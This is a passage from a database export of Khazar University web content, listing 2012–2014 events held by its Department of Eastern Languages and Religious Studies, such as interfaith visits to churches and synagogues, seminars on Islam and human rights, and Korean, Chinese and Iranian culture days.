24,&nbsp; the opening ceremony of the VII&nbsp; International Turkish Language Congress, which is organized every four years on an international level by Turkish Language Institution, was held at Sakarya Hall. After playing the National Anthem at the opening ceremony, a film was shown in the congress. Then Head of the Turkish Language Society&nbsp;<em>Mustafa Kaçalin, representative of Ataturk Culture</em>,&nbsp;<em>Language and History Organization,</em>&nbsp;Nazif Öztürk, assistant Prime Minister, Bülend Arınc, and Chairman of the Grand National Assembly of Turkey Cemil Çiçek made presentations.&nbsp;</p><p style=\"text-align:justify\">After the opening ceremony, the congress continued its work in committees, and 205 scientific lectures were read.</p><p style=\"text-align:justify\">A group of Azerbaijani linguists, including instructors of Khazar University Elza Ismailova and Ziver Huseynova, participated in the congress. Eliza Ismayilova reported on Turkish-origin archaisms in the&nbsp;<em>Koroghlu</em>&nbsp;epos (Based on the Vali Khuluflu version), and Ziver Huseynova reported on \"Social terms which passed from Turkish to the Persian language during the Safavid period.”</p><p style=\"text-align:justify\">&nbsp;On September 27, the congress finished with a closing and evaluation ceremony. A concert program consisting of Turkish folk songs was also given in the ceremony.</p><p style=\"text-align:justify\">On September 28, congress members traveled to the Urgup-Goreme region.</p><p style=\"text-align:justify\"><strong>Event Photos:</strong>&nbsp;<a href=\"http://old.khazar.org/news/2012/Our-Employees-Participate-in-International-Turkish-Congress_960.html\">http://old.khazar.org/news/2012/Our-Employees-Participate-in-International-Turkish-Congress_960.html</a></p>'),(2755,1645,'en','News and Events','News and Events','<h3><strong>Past Events</strong></h3><p>November 16,&nbsp;<a href=\"http://old.khazar.org/news/2014/article_6415.html\">Students Visit Christian Places of Worship</a></p><p style=\"text-align:justify\">On November 16, as organized by the Department of Eastern Languages and Religious Studies, a trip was organized to Christian places of worship as part of religious tolerance event entitled \"Harmony of Diversity.\" Under the leadership of Dr. Elnura Azizova, Head of the Department, university students participated in the eucharist (bread and wine) ceremony at Myrrh Bearers Orthodox Church. Then Father Constantine, press secretary of Baku and Caspian Eparchy, gave information to the students about the place of orthodoxy among other branches of Christianity as well as the history and activity of Myrrh Bearers Church. Then students took part in a religious Sunday ceremony at the Holy Virgin Mary Catholic Church and listened to the pastor’s discussion of the history of Catholicism, relations between the Catholic and other Christian denominations, and activities of the Catholic Church.</p><p style=\"text-align:justify\">Photos were taken at the end of the event, which helped instill in students the concept of tolerance toward different faiths.</p><p><a href=\"http://old.khazar.org/news/2014/Students-Visit-Christian-Places-of-Worship_6415.html\">http://old.khazar.org/news/2014/Students-Visit-Christian-Places-of-Worship_6415.html</a></p><p>&nbsp;</p><h3>November 1,&nbsp;<a href=\"http://old.khazar.org/news/2014/article_6411.html\">Students Visit Jewish Places of Worship</a></h3><p style=\"text-align:justify\">On November 1, as organized by the Department of Eastern Languages and Religious Studies, within the framework of a series of&nbsp; \"Harmony of Diversity \" events to develop religious tolerance, Khazar Students visited Jewish places of worship. At first, students watched the weekly Sabbath ritual in an Ashkenazi Jewish synagogue. After the ritual, students listened to a lecture by rabbi Segal Shneor, Chairman of the Ashkenazi Jewish community, about the faith, worship, and traditions of Judaism. Then students’ questions were answered.</p><p style=\"text-align:justify\">Then students visited the synagogue of the Mountain Jews, where they met Milikh Yevdayev, chairman of the community, and were informed about the history of the Jewish community and relations with members of other religions.</p><p style=\"text-align:justify\">Dr. Elnura Azizova, Head of the Department, gave them information about the importance of the role of universities in spreading multiculturalism and developing religious, ethnic and cultural tolerance among young people. She also spoke about activities regularly carried out in this field by Khazar University.</p><p><a href=\"http://old.khazar.org/news/2014/Students-Visit-Jewish-Places-of-Worship_6411.html\">http://old.khazar.org/news/2014/Students-Visit-Jewish-Places-of-Worship_6411.html</a></p><h2>&nbsp;</h2><h3>October 23-25,&nbsp;<a href=\"http://old.khazar.org/news/2014/article_6376.html\">Instructor Participates in International Symposium in Turkey</a></h3><p style=\"text-align:justify\">On October 23-25, Dr. Zivar Huseynli, instructor of the Department of Eastern Languages and Religious Studies, participated in an international symposium held in Zonguldak, Turkey.</p><p style=\"text-align:justify\">60 researchers and historians from 11 different countries participated in the symposium, entitled “1st International Symposium on&nbsp;Historical Consciousness&nbsp;and&nbsp;Historiography&nbsp;among Turks,\" which was organized by Bulent Ecevit University, the Black Sea Strategic Investigation Center (KARSAM) and the Turkish Historical Society. Ziver Huseynli&nbsp;made a presentation on \"Approaches to Turkish history among Turkish historians who wrote in Persian in the 16-17 centuries\" at the&nbsp;symposium.&nbsp;</p><p><a href=\"http://old.khazar.org/news/2014/Instructor-Participates-in-International-Symposium-in-Turkey_6376.html\">http://old.khazar.org/news/2014/Instructor-Participates-in-International-Symposium-in-Turkey_6376.html</a></p><h2><br></h2><h3>October 16,&nbsp;<a href=\"http://old.khazar.org/news/2014/article_6322.html\">Seminar on Academic and Cultural Relations Between Egypt and Azerbaijan Held at Khazar University</a></h3><p style=\"text-align:justify\">On October 16, as jointly organized by the Eastern Languages and Religious Studies Department of Khazar University and the Egyptian Cultural Center, a seminar on \"Egypt-Azerbaijan relations: from the perspective of language, literature and culture\"&nbsp; was held at the university. Dr. Elnura Azizova, Head of the Department, opened the event by speaking about the importance of the Arabic language on global and local levels.</p><p style=\"text-align:justify\">Ahmad Sami, Director of the Egyptian Cultural Center, spoke about academic and cultural relations between Azerbaijan and Egypt. Professor Tariq Chalabi, Head of the Department of Arabic Language and Literature of&nbsp; Ain Shams University in Egypt, expressed his opinion about Azerbaijan-Egypt literary and linguistic relations, and Dr. Islam Sharkavi, Head of the Arabic Language Department of the same university, shared ideas about new methods for non-Arabs to learn Arabic.</p><p style=\"text-align:justify\">After the lectures, discussions were held on subject with the participation of Dr. Tarana Akbarova and Kamil Sherifov, Arabic language instructors of Khazar University. A question and answer session was held with students who are learning Arabic.</p><p><a href=\"http://old.khazar.org/news/2014/Seminar-on-Academic-and-Cultural-Relations-Between-Egypt-and-Azerbaijan-Held-at-Khazar-University_6322.html\">http://old.khazar.org/news/2014/Seminar-on-Academic-and-Cultural-Relations-Between-Egypt-and-Azerbaijan-Held-at-Khazar-University_6322.html</a></p><h2><br></h2><h3>October 3,&nbsp;<a href=\"http://old.khazar.org/news/2014/article_6301.html\">Seminar on Feast of Sacrifice</a></h3><p style=\"text-align:justify\">On October 3, as jointly organized by&nbsp;the&nbsp;Eastern Languages and Religious Studies Department and&nbsp;the&nbsp;Department of Philosophy at Khazar University,&nbsp; a seminar was held on the Feast of Sacrifice. Head of the Department of Eastern Languages and Religious Studies,&nbsp;Dr. Elnura Azizova,&nbsp;spoke&nbsp; on the \"The concept of a holiday in Islamic culture and social aspects of holidays.\"&nbsp;She also spoke about&nbsp;the social significance of holidays in Islam&nbsp;as a&nbsp;unifying element.</p><p style=\"text-align:justify\">Professor Mehmet Azimli,&nbsp;Head of the Department of Islamic History and Arts at&nbsp;the&nbsp;School of Theology of Hittite University, made&nbsp;a&nbsp;presentation on \"The concept of sacrifice in Islam\"&nbsp;and&nbsp;gave information&nbsp;about the role of sacrifice&nbsp;in&nbsp;the&nbsp;belief system of Islam,&nbsp;the public understanding of sacrifice, and its characteristics as a type of worship.</p><p style=\"text-align:justify\">Dr. Mail Yagubov,&nbsp;Head of Khazar University’s&nbsp;Department of Philosophy, made a presentation on \"The concept of sacrifice in Islam and Christian scholasticism.\"&nbsp;He&nbsp;explained&nbsp;that&nbsp;Abraham\'s story&nbsp;is about surrender&nbsp;from&nbsp;a&nbsp;philosophical point of view. In the end,&nbsp; students’&nbsp;questions related to the topic were answered and discussions were&nbsp;held.</p><p><a href=\"http://old.khazar.org/news/2014/Seminar-on-Feast-of-Sacrifice_6301.html\">http://old.khazar.org/news/2014/Seminar-on-Feast-of-Sacrifice_6301.html</a></p><p>&nbsp;</p><h3>September 8-12, Head of Department Participates at&nbsp;<a href=\"http://old.khazar.org/news/2014/article_6268.html\">Tempus Project Training on “Writing Guidelines\"</a></h3><p style=\"text-align:justify\">On September 8-12, within the framework “The Establishment of a Foundation for the Integration of Disabled People into HEIs of Azerbaijan” - (ESFIDIP) project, a training on \"Writing guidelines\" was held at University of Macedonia (Thessaloniki / Greece) one of the European partners of the project. &nbsp;Dr.&nbsp; Elnura Azizova, Head of the Eastern Languages and Religious Studies Department of Khazar University, also participated in the training.</p><p style=\"text-align:justify\">The training covered information related to disability issues in European and Greek legislation, identifying and analyzing the needs of students with disabilities, and rules relating to the accessibility of higher education institutions. The training participants had the opportunity to see the facilities, equipment, and library resources for use by students with disabilities at the University of Macedonia.&nbsp;</p><p><a href=\"http://old.khazar.org/news/2014/Tempus-Project-Training-on-Writing-Guidelines_6268.html\">http://old.khazar.org/news/2014/Tempus-Project-Training-on-Writing-Guidelines_6268.html</a></p><p>&nbsp;</p><p><strong>12 May 2014</strong></p><h3><strong>\"Korean Cuisine Day\" at Khazar University</strong></h3><p style=\"text-align:justify\">&nbsp;On May 12, as organized by the Department of Eastern Languages of Khazar University, the Korea center and the Korean Embassy to Azerbaijan, “Korean Cuisine Day \" was held. This event&nbsp;was part of&nbsp;the \"Eastern hospitality\"&nbsp;series of cultural events. At the opening of the event, head of the department, Dr. Elnura Azizova, gave information about Korean language education at Khazar University as well as events related to the promotion of Korean culture.</p><p style=\"text-align:justify\">Khazar University’s founder and Chairman of the Board of Directors and Trustees, Professor Hamlet Isaxanli, talked about interest in different cultures, in the category of Eastern cultures at Khazar University, especially Korean culture, and emphasized the role of Korean cuisine in learning Korean culture.</p><p style=\"text-align:justify\">Ambassador of the Republic of Korea to Azerbaijan, Choi Suk-inn, made a presentation stressing the importance of cooperation between Khazar University and the Korean Embassy and praised the achievements of the university students in this area.</p><p style=\"text-align:justify\">Students made ​​presentations reflecting different areas of Korean culture. They also performed a Korean dance. Accompanied by Korean Language Teacher Younhong Lee on guitar, students sang a Korean&nbsp;song. At the end of the event, 13 different dishes representing Korean cuisine were presented to the participants.</p><p>&nbsp;<strong>Event Photos:</strong>&nbsp;<a href=\"http://old.khazar.org/news/2014/Korean-Cuisine-Day-at-Khazar-University_6111.html\" target=\"_blank\">http://old.khazar.org/news/2014/Korean-Cuisine-Day-at-Khazar-University_6111.html</a></p><p>&nbsp;</p><p><strong>08 May 2014</strong></p><h3><strong></strong><strong>\"Judaism: Beliefs and Worldview\"</strong></h3><p style=\"text-align:justify\">&nbsp;On May 8, as organized by the Department of Eastern Languages ​​and Religious Studies of Khazar University, an event entitled&nbsp; \"Judaism: beliefs and worldview\" was held as part of the \"experience of living together\" series.</p><p style=\"text-align:justify\">Opening the event, Head of the Department Dr. Elnura Azizova noted that various programs to promote and study of world religions have been implemented at&nbsp; Khazar University in order to recognize and understand diversity. Then, students of the School of Humanities and Social Sciences gave information about the structure of Judaism, faith, worship, morality, and the public. Chairman of the Ashkenazi Jewish community in Azerbaijan, Ravvin Shneor, spoke about the history of Judaism and the Jewish community to the students, and answered students’ questions related to Judaism.</p><p>&nbsp;<strong>Event Photos:</strong>&nbsp;<a href=\"http://old.khazar.org/news/2014/Judaism:-Beliefs-and-Worldview_6107.html\" target=\"_blank\">http://old.khazar.org/news/2014/Judaism:-Beliefs-and-Worldview_6107.html</a></p><p><br></p><p>&nbsp;<strong>01 May 2014</strong></p><h3><strong>\"Christianity: Belief and Worldview\" Event</strong></h3><p style=\"text-align:justify\">On May 1, as organized by the Khazar University Department of Eastern Languages and Religious Studies, an event in the \"Experience of Living Together\" series entitled \"Christianity: belief and worldview\" was held.</p><p style=\"text-align:justify\">At the opening of the event, Dr. Elnura Azizova, head of the department, said that Azerbaijan is a region where Christians and members of other religions have lived together throughout history, and this important tradition continues here.</p><p style=\"text-align:justify\">Then, students of the School of Humanities and Social Sciences made presentations about the establishment, dissemination, faith, worship and moral system of Christianity and its current state. Robert Mobili, Albanian-Udi community leader, presented a slide show about the history and current state of the Albanian-Udi Church, which is the oldest representative of Christianity. At the end of the event, students’ questions about Christianity and the Albanian-Udi church were answered.</p><p>&nbsp;<strong>Event Photos:</strong>&nbsp;<a href=\"http://old.khazar.org/news/2014/Christianity:-Belief-and-Worldview-Event_6083.html\" target=\"_blank\">http://old.khazar.org/news/2014/Christianity:-Belief-and-Worldview-Event_6083.html</a></p><p>&nbsp;</p><p><strong>24 April 2014</strong></p><h3><strong>Event on \"Confucius and Chinese Culture\"</strong></h3><p style=\"text-align:justify\">International events are held all over the world on the occasion of the 10th anniversary of the establishment of the Confucius Institutes, which promote Chinese language and culture in the world.</p><p style=\"text-align:justify\">On April 24, in this regard, an event on \"Confucius and Chinese Culture\" was held at the university with the organization of the Department of Eastern Languages and Religious Studies of Khazar University.</p><p style=\"text-align:justify\">At the opening ceremony, Dr. Elnura Azizova, Head of the Department, talked about the importance given to the teaching of Chinese language and culture at Khazar University and highlighted the role of the activities of the Confucius Institute operating in this field at the university.</p><p style=\"text-align:justify\">Then the students of the School of Humanities and Social Sciences gave a presentation on the great Chinese philosopher Confucius\'s life, philosophy, and his role in promoting Chinese culture. Director of the Confucius Institute at Khazar University, Ms. Fen-xua, spoke about the activities and future plans of the Confucius Institute.&nbsp;</p><p style=\"text-align:justify\">Students of the School of Economics studying the Chinese language sang songs in Chinese, and their performance warmly applauded.</p><p style=\"text-align:justify\">The event was brought to a close with a traditional Chinese tea served by the Confucius Institute.</p><p>&nbsp;</p><p style=\"text-align:justify\"><strong>31 March 2014</strong></p><h3><strong>Seminar on \"Human Rights, Freedom of Religion and Islam\"</strong></h3><p style=\"text-align:justify\">&nbsp;On March 31, as organized by the Department of Eastern Languages ​​and Religious Studies, a seminar on \"Human rights, freedom of religion and Islam\" was held at Khazar University. Dr. &nbsp;Elnura Azizova, head of the department, opened the event, stating that the issue of human rights and religious freedom&nbsp;has&nbsp;been discussed in a variety of different domains in the context of Islam in recent years&nbsp;and is becoming increasingly more important. &nbsp;</p><p style=\"text-align:justify\">Then Elnura Azizova reported on \"Analysis of the concept of freedom of religion in Islamic human rights declarations,”&nbsp;Dr. Ali Bulut (Suleyman Demirel University, Turkey)&nbsp;reported on \"Overview of the Qur\'an in the context of human rights,” Dr. Elmin Aliyev (Khazar University) reported on \"Freedom of thought in Islam in the context of science and philosophy,\"&nbsp;and&nbsp; theologian Salih Kazımov (BSU) reported on \"The attitude of Islam toward the members of other religions.” After the lectures,&nbsp;reports were discussed with the participation of&nbsp;employees of the university&nbsp;&nbsp;Dr. Mayıl Yagubov, Jabir Mammadov, Dr.&nbsp;Zivar Huseynova, and students.&nbsp;</p><p>&nbsp;<strong>Event Photos:</strong>&nbsp;<a href=\"http://old.khazar.org/s7494/e5989/Seminar-on-Human-Rights-Freedom-of-Religion-and-Islam-to-be-Held/en\" target=\"_blank\">http://old.khazar.org/e5989/Seminar-on-Human-Rights-Freedom-of-Religion-and-Islam-to-be-Held/en</a></p><p>&nbsp;</p><p style=\"text-align:justify\"><strong>27 March 2014</strong></p><h3><strong>Seminar on \"Qur\'an al-Karim: a Source of Faith and Culture\"</strong></h3><p style=\"text-align:justify\">On March 27, as organized by the Department of Eastern Languages&nbsp;​​and Religious Studies,&nbsp;a seminar on&nbsp;\"Qur\'an al-Karim&nbsp; as a source of faith and culture\" was held. At the opening of the ceremony, the head of the department, Elnura Azizova, spoke about the role of Qur\'an al-Karim&nbsp;through 14 centuries of Muslim identity formation, as well as its importance for the customs, traditions, and cultural heritage of Azerbaijani people.</p><p style=\"text-align:justify\">The speaker of the seminar, instructor of School of Theology&nbsp;of Suleyman Demirel&nbsp;University&nbsp;(Deputy Dean of the Faculty of Theology at the University at present),&nbsp;Dr. Ali Bulut, talked about features of Qur\'an al-Karim as the holy book of Islam and as a source of Islamic culture. After giving information about the history of literature of the Arabs on the basis of the establishment of Islam, he talked about the writing process of the Quran, which remained unchanged throughout 14 centuries.&nbsp; At the end of the report&nbsp;he answered students\' questions about the position of members of other religions,&nbsp;male-female equality, peace-military relations,&nbsp;the relationship between faith/worship and morality according to the Qur\'an,&nbsp;and many other interesting topics.</p><p>&nbsp;<strong>Event Photos:</strong>&nbsp;<a href=\"http://old.khazar.org/news/2014/Seminar-on-Quran-al-Karim:-a-Source-of-Faith-and-Culture_5984.html\">http://old.khazar.org/news/2014/Seminar-on-Quran-al-Karim:-a-Source-of-Faith-and-Culture_5984.html</a></p><p>&nbsp;</p><p style=\"text-align:justify\"><strong>18 March 2014</strong></p><h3><strong>Cultural&nbsp; Event on “Last Tuesday Traditions in Azerbaijan and Iran”</strong></h3><p style=\"text-align:justify\">On March 18, as organized by the Department of Eastern Languages ??and Religious Studies, an event on “Last Tuesday traditions in Azerbaijan and Iran” was held. At the opening ceremony, Elnura Azizova, &nbsp;Head of the Department, noted that &nbsp;over the centuries Azerbaijan and Iran have hared a common heritage, part of which is celebrating Last Tuesday before the Novruz holiday. Then Zivar Huseynli, Persian language instructor, spoke about the importance of Last Tuesday in Azerbaijan and Iranian culture. Students majoring in Persian recited poems about Last Tuesday in Azerbaijani and Persian and gave information about Iranian traditions related to Last Tuesda</p><p style=\"text-align:justify\">The holiday mood of the participants was heightened by participating in one interesting tradition of Last Tuesday: girls’ fortune telling using water. At the end of the event, participants &nbsp;joined in the game &nbsp;\"Hakhishta\" and shared holiday joy around a colorful feast.&nbsp;</p><p>&nbsp;<strong>Event Photos:&nbsp;</strong><strong><a href=\"http://old.khazar.org/news/2014/Cultural-Event-on-Last-Tuesday-Traditions-in-Azerbaijan-and-Iran_5977.html\" target=\"_blank\">http://old.khazar.org/news/2014/Cultural-Event-on-Last-Tuesday-Traditions-in-Azerbaijan-and-Iran_5977.html</a></strong></p><p>&nbsp;</p><p style=\"text-align:justify\"><strong>15 February 2014</strong></p><h3><strong>Legal Education Center conducts weekly training courses on Human Rights</strong></h3><p style=\"text-align:justify\">&nbsp;On February 15, weekly training courses were held at Khazar University Legal Education Center, established with the support of Azerbaijan Lawyers Confederation and the US Agency for International Development (USAID) within the “Azerbaijan Rights Consortium” project. The center provides training courses on Human Rights to law students and prepares young lawyers who wish to participate in Bar Admission Exams.&nbsp;</p><p style=\"text-align:justify\">The participants of the training are students from Khazar University, Baku State University, National Aviation Academy and the Academy of Public Administration under the President of the Republic of Azerbaijan. During the training, Elnura Azizova,&nbsp;Head of Department of&nbsp;Eastern Languages and Religious Studies&nbsp;at Khazar University,&nbsp;delivered a&nbsp;lecture on “Freedom of religion and belief in the&nbsp;human rights&nbsp;context.”</p><p>&nbsp;<strong>Event Photos:&nbsp;</strong><a href=\"http://old.khazar.org/news/2014/Legal-Education-Center-conducts-weekly-training-courses-on-Human-Rights_5902.html\" target=\"_blank\">http://old.khazar.org/news/2014/Legal-Education-Center-conducts-weekly-training-courses-on-Human-Rights_5902.html</a></p><p>&nbsp;</p><p style=\"text-align:justify\">&nbsp;<strong>8 February 2014</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong>Second IB form on “Create and Educate” Held at Dunya School</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">&nbsp;On February 8, Khazar University’s Dunya School held a second IB Forum.&nbsp;Various schools of Baku and Sumgait attended the event. The purpose of the forum&nbsp;was to discuss&nbsp;the current state and the future of education. &nbsp;Khazar University’s founder and chairman of the Board of Directors and Trustees, Professor Hamlet Isaxanli,&nbsp;spoke about the importance of international education&nbsp;and&nbsp;noted that Dunya School holds a special place among educational institutions.</p><p style=\"text-align:justify\">Teachers and students made presentations in breakout sessions, including Gulshan Samedova and Nigar Jahangirova of \"XXI Century\" Education Center along with their student Konul&nbsp;Bayramova; Alekber Alekberov,&nbsp;&nbsp;teacher of&nbsp; Baku British School; Ramila Azizova and&nbsp; Amina Ibrahimova, teachers of &nbsp;Dunya School; and the following students of Dunya School&nbsp;IB 1 and IB 2: Anar Ismailov, Vugar Cavadov, Tukez Akhmedova, Farida Farajova, Togrul Mammadov, Rustam Hasanov, Esmiralda Shirinova, Sima Jabbarova, Aidan Nasibova&nbsp; and Fatima Khalilov. The forum&nbsp;was successfully completed. &nbsp;</p><p style=\"text-align:justify\"><strong>Rena Hasanova,</strong></p><p style=\"text-align:justify\"><strong>Dunya School IB coordinator</strong></p><p>&nbsp;<strong>Event Photos:&nbsp;<a href=\"http://old.khazar.org/news/2014/Second-IB-form-on-Create-and-Educate-Held-at-Dunya-School_5892.html\" target=\"_blank\">http://old.khazar.org/news/2014/Second-IB-form-on-Create-and-Educate-Held-at-Dunya-School_5892.html</a></strong></p><p>&nbsp;</p><p style=\"text-align:justify\">&nbsp;<strong>20 December 2013</strong></p><p style=\"text-align:justify\"><strong>Event Entitled \"Shebi Yelda – Chile Night” was Held</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">&nbsp;On December 20, with the joint organization of the Department of Eastern Languages&nbsp;​​and Religious Studies and the Center for Iranian Studies, an event entitled \"Shebi Yelda - Chile Night\" was held. This event&nbsp;is part of&nbsp;the&nbsp;\"Iranian Culture Days\" series. Along with the staff and students of the university, Iranian Cultural Center staff and other guests attended the meeting.</p><p style=\"text-align:justify\">The event was opened by the Head of the Department, Elnura Azizova. She emphasized that&nbsp;this night, symbolizing the end of the longest night&nbsp;of winter and known as&nbsp;\"Shebi Yelda\" in the Iranian culture, is marked as&nbsp;\"Chile Night” in various regions of Azerbaijan and it is common between the two cultures. She noted the special role of&nbsp;Persian language instructors Zivar Huseynova,&nbsp;Nahid Shefiyev and Rustam Lazimov in the organization of the event. University students who are learning Persian language&nbsp;have a great interest in organizing various cultural programs related to the field.</p><p style=\"text-align:justify\">Then students made presentations covering Shebi Yelda – Chile Night’s history, its essence, forms of its celebration in different regions of Iran and Azerbaijan, and similarities and differences in its customs. Then they recited poems in Persian relating to Shebi Yelda.</p><p style=\"text-align:justify\">Persian language and literature instructor of the university, Dr. Rustam Lazimov,&nbsp;gave information about the importance of Shebi Yelda in the ancient Zoroastrian beliefs and&nbsp;noted the role of this holiday in symbolizing the advantage of heat over cold and&nbsp;light over darkness. After giving a brief overview of the \"Hafiz horoscope,\"&nbsp;which constitutes an important part of Shebi Yelda celebrations and&nbsp;is known as an interpretation&nbsp;of someone’s intent,&nbsp;Head of the Iranian Cultural Center&nbsp;Ibrahim Nuri read a couplet from the Divan of&nbsp;Hafiz. Then the couplet was interpreted by Rustam Lazimov. After the positive interpretation of the couplet,&nbsp;the participants were in high spirits and were invited to the second part of the event, the Shebi Yelda tea party prepared&nbsp;with Iranian and Azerbaijani sweets.&nbsp;The event emphasized the similarities and proximity between neighboring cultures and created a spring-like mood for the participants with its inclusion of watermelon, characteristic of the Shebi Yelda table, and other colorful dishes.</p><p>&nbsp;<strong>Event Photos:</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2013/Event-Entitled-Shebi-Yelda--Chile-Night-was-Held_5637.html\" target=\"_blank\">http://old.khazar.org/news/2013/Event-Entitled-Shebi-Yelda--Chile-Night-was-Held_5637.html</a></strong></p><p>&nbsp;</p><p style=\"text-align:justify\"><strong>19 December 2013</strong></p><p style=\"text-align:justify\"><strong>Routine meeting of the “Belief Rainbow” series of Programs on Tolerance</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On December 19, as organized by the Department of Eastern Languages&nbsp;​​and Religious Studies, a program entitled&nbsp;\"Moral values of&nbsp;the&nbsp;Far East:&nbsp;Hinduism, Buddhism and Confucianism\"&nbsp;was held. This program was a part of&nbsp;the&nbsp;“Belief Rainbow” series of programs on&nbsp;tolerance. Opening the program,&nbsp;Head of the Department,&nbsp;Elnura Azizova,noted that this is the last program&nbsp;in&nbsp;the series of programs on&nbsp;tolerance for the first semester&nbsp;of the&nbsp;2013-2014 academic year. She noted that&nbsp;the main purpose of the event is&nbsp;to inform&nbsp;students&nbsp;about the moral values&nbsp;​​of the Far East,&nbsp;which has great importance in world religions.&nbsp;</p><p style=\"text-align:justify\">Then, with a presentation by students, comprehensive information was given about three ancient religious and spiritual traditions of the East.&nbsp;Within&nbsp;the program, information about the emergence&nbsp;of&nbsp;the history of the formation process,&nbsp;the basic beliefs&nbsp;and worship, temples, special days and community structure of Hinduism, Buddhism and Confucianism was given, very interesting video films related to the topic were presented,&nbsp;and students\' questions were answered.</p><p>&nbsp;<strong>Event Photos:</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2013/Routine-meeting-of-the-Belief-Rainbow-series-of-Programs-on-Tolerance_5650.html\" target=\"_blank\">http://old.khazar.org/news/2013/Routine-meeting-of-the-Belief-Rainbow-series-of-Programs-on-Tolerance_5650.html</a></strong></p><p>&nbsp;</p><p style=\"text-align:justify\"><strong>16 December 2013</strong></p><p style=\"text-align:justify\"><strong>Dialogue on the Abrahamic Religions</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On December 16, with the organization of the Eastern Languages&nbsp;​​and Religious Studies Department,&nbsp;a cultural event entitled \"Dialogue on&nbsp;Abrahamic Religions\" was held.This event was a part of the “Belief Rainbow” series of cultural events. Official representatives of the Jewish and Christian communities registered in Azerbaijan, university employees and students participated in the event.</p><p style=\"text-align:justify\">Head of the Department,&nbsp;Elnura Azizova, opened the event and noted that the value of tolerance is growing in importance every day&nbsp;in our global world. In connection to this, it is vitally important for the young generation to gain experience in recognizing and&nbsp;understanding differences as well as living together with them. She noted that&nbsp;Azerbaijan has a long history of religious diversity&nbsp;including Judaism, Christianity and Islam, and these religions have been existing together for centuries. Currently,&nbsp;important work is also being successfully carried out in both the state and the civilian arenas here.</p><p style=\"text-align:justify\">Then the students made many interesting presentations on the stages of religious formation and propagation, faith, worship and traditions, community structure,&nbsp;auspicious days and temples&nbsp;of Judaism, Christianity and Islam.</p><p style=\"text-align:justify\">Representative of the&nbsp;Baku Religious Community&nbsp;of&nbsp;European Jews, Rabbi Sneor&nbsp;Sigal, &nbsp;reported on the history and current status of the Jewish community in Azerbaijan. He said that Azerbaijan is a unique place, demonstrating the practice of religious tolerance&nbsp;which some countries in the East&nbsp;as well as in the West&nbsp;have not been able to do. Rabbi Sneor Sigal said that the main reason for this&nbsp;is that&nbsp;Azerbaijani people&nbsp;remain faithful to the principles of hospitality and humanity, regardless of their historical experience.</p><p style=\"text-align:justify\">The press secretary of the Baku and Azerbaijan&nbsp; Diocese of the Russian Orthodox Church,&nbsp;priest Konstantin Pominov,&nbsp;noted that this event held at Khazar University&nbsp;assumed great importance for strengthening trends of&nbsp;tolerance among youth. He noted that&nbsp;in order to avoid unpleasant&nbsp;religious intolerance and violence, the leaders of the religious community in the country have always&nbsp;showed sensitivity and&nbsp;attempted to solve problems.</p><p style=\"text-align:justify\">Assistant Vice President of the community Mountain Jews in Baku, Rafiq Mikhayilov, stated that&nbsp;a large concentration of Jews have lived in the Red&nbsp;settlement of Guba district for over two centuries, continuing to maintain their attitude of peace and brotherhood&nbsp;to a high degree with the local Muslim people, and there are very few examples of this in the world.&nbsp;After the guests’&nbsp;reports related to the&nbsp;importance of religious tolerance and its state in Azerbaijan, photos were taken.</p><p>&nbsp;<strong>Event Photos:</strong><strong>&nbsp;<a href=\"http://old.khazar.org/news/2013/Dialogue-on-the-Abrahamic-Religions_5630.html\" target=\"_blank\">http://old.khazar.org/news/2013/Dialogue-on-the-Abrahamic-Religions_5630.html</a></strong></p><p>&nbsp;</p><p style=\"text-align:justify\"><strong>15 December 2013</strong></p><p style=\"text-align:justify\"><strong>\"Tolerance Visits: Temple and Community in the Abrahamic Religions” within the “Belief Rainbow” series of programs on Tolerance</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On December 8- 15, as organized by the Department of Eastern Languages&nbsp;​​and Religious Studies&nbsp;of Khazar University, a program entitled “Tolerance&nbsp;Visits: Temple and Community in the Abrahamic Religions” was held. This program was a part of the “Belief Rainbow” series of programs on Tolerance. Within the program, the students visited temples of&nbsp;Judaism, Christianity and Islam.</p><p style=\"text-align:justify\">&nbsp;Under the leadership of the Head of the Department, Elnura Azizova,&nbsp;university students&nbsp;participated in a Sunday liturgical service held in&nbsp;St. Mary\'s Catholic Church on 8&nbsp;December.</p><p style=\"text-align:justify\">Expressing his gratitude to the students for their interest in religions, a church worker gave them information about the position of Catholicism in relation to other branches of Christianity, the formation of this branch in Azerbaijan, and its role in modern times. He also answered students\' questions associated with faith, worship, morals and the outlook of Catholicism, which is considered the oldest branch of Christianity.</p><p style=\"text-align:justify\">On December 14, the students participated in a Sabbath ritual at the Synagogue of The European Jews.&nbsp; At the end of the ceremony students were informed about branches of Judaism, their faith, worship, holy days, and so on.</p><p style=\"text-align:justify\">On December 15, the students watched the morning worship in the synagogue of the community of Mountain Jews. After praying, the students were informed about the history and belief system of Mountain Jews in Azerbaijan, which is one of the oldest Jewish communities in the country. Then the students participated in a Sunday ceremony at the Russian Orthodox Church. After the ceremony, Pastor Konstantin Pominov answered students’ questions about the importance of the ceremony and religious attributes in the church.</p><p style=\"text-align:justify\">On the same day, the students visited the Martyrs’ Mosque. There, detailed information about the historical periods of Islam in Azerbaijan, beliefs, worship and moral values of Islam were given to the students.</p><p style=\"text-align:justify\">The students completed the program with a strong impression of the importance of tolerance and religious endurance&nbsp; in the global world, having become familiar with the concept of sacred space and community of members of Abrahamic religions in Azerbaijan and having directly participated in the experience of co-existence.</p><p>&nbsp;<strong>Event Photos:&nbsp;</strong><a href=\"http://old.khazar.org/news/2013/Tolerance-Visits:-Temple-and-Community-in-the-Abrahamic-Religions-within-the-Belief-Rainbow-series-of-programs-on-Tolerance_5651.html\" target=\"_blank\">http://old.khazar.org/news/2013/Tolerance-Visits:-Temple-and-Community-in-the-Abrahamic-Religions-within-the-Belief-Rainbow-series-of-programs-on-Tolerance_5651.html</a></p><p>&nbsp;</p><p style=\"text-align:justify\"><strong>13 December 2013</strong></p><p style=\"text-align:justify\"><strong>Event Entitled \"Fine Arts and Azerbaijani Masters in Islamic Culture\" was Held</strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\">On December 13, 2013, as organized by the Department of Eastern Languages&nbsp;​​and Religious Studies&nbsp;of Khazar University, a cultural event entitled \"Fine Arts 